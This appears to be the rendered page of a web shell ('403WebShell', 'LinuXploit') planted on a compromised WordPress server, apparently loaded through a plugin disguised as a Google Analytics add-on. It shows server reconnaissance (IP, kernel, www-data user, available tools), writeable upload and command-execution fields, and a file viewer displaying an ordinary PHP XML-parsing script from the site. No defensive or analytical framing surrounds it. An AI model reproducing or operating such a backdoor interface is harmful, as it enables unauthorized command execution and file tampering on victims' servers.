Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/plugins/inc.xmlparser.php
<?php

function exitXMLerror($xml_parser, $data) {
		global $BASE, $hwid;
		$original = explode("\n", $data);
		$linenum = xml_get_current_line_number($xml_parser);
		$st = $linenum - 10; $fin = $linenum + 10;
		if ($st < 1) $st = 1;
		if ($fin > count($original)) $fin = count($original);
		echo '<hr>';
		for ($i = $st; $i <= $fin; $i++) {
			$res = htmlspecialchars($original[$i-1]);
			if ($i == $linenum) $res = "<font color=\"#cc0000\">$res</font>";
			echo "<strong>$i.</strong> $res<br>\n";
		}
		echo "<br>\n";
		$fp = @fopen("$BASE/inc/data/errors.xml.txt", 'a');
		@fwrite($fp, "$hwid\n");
		@fclose($fp);
	   	echo sprintf("XML error: %s at line %d, col %d",
            xml_error_string(xml_get_error_code($xml_parser)),
            $linenum, xml_get_current_column_number($xml_parser));
		echo '<hr>';
		echo nl2br( htmlentities( var_export($data, 1) ) );
		exit;
}

global $currentnode, $result, $index, $nodenum, $cnode;

function __startElement($parser, $name, $attrs) {
	global $currentnode, $index, $nodenum, $cnode, $characterText;
	$nodenum++; $parent = $cnode; $cnode = $nodenum;
	$index[$cnode] = array();
	$index["p$cnode"] = $parent;
	foreach ($attrs as $k => $v) {
		$index[$cnode][$k] = $v;
	}

	if (!isset($index[$parent][$name])) {
		$index[$parent][$name] = array();
	}
	$index[$parent][$name][] = &$index[$cnode];
	$currentnode = &$index[$cnode];
	$characterText = '';
}

function __characterData($parser, $data) {
	global $characterText;
	$characterText .= $data;
}

function __endElement($parser, $name) {
	global $currentnode, $index, $cnode, $characterText;
	$characterText = trim($characterText);
	if ($characterText != '') { 
		$index[$cnode]['@'] = $characterText;
		$characterText = '';
	}
	$cnode = $index["p$cnode"];
	if ($cnode > -1) {
		$currentnode = &$index[$cnode];
	} else {
		$currentnode = NULL;
	}
}

function XMLparser($data, $dieonerror = 1) {
	global $index, $cnode, $result, $currentnode, $characterText;
	$data = str_replace('&', '&amp;', $data);
	$xml_parser = xml_parser_create();
	xml_set_element_handler($xml_parser, '__startElement', '__endElement');
	xml_set_character_data_handler($xml_parser, '__characterData');

	$characterText = '';
	$index = array();
	$cnode = $nodenum = 0;
	$index[$cnode] = array();
	$index["p$cnode"] = -1;
	$currentnode = &$index[$cnode];
	$result = &$index[$cnode];
	
	if ($result != '') {			// a blank file may be returned
		if (!xml_parse($xml_parser, $data, 1)) {
			if ($dieonerror) exitXMLerror($xml_parser, $data);
		}
		xml_parser_free($xml_parser);
	}
	return $result;
}

Youez - 2016 - github.com/yon3zu
LinuXploit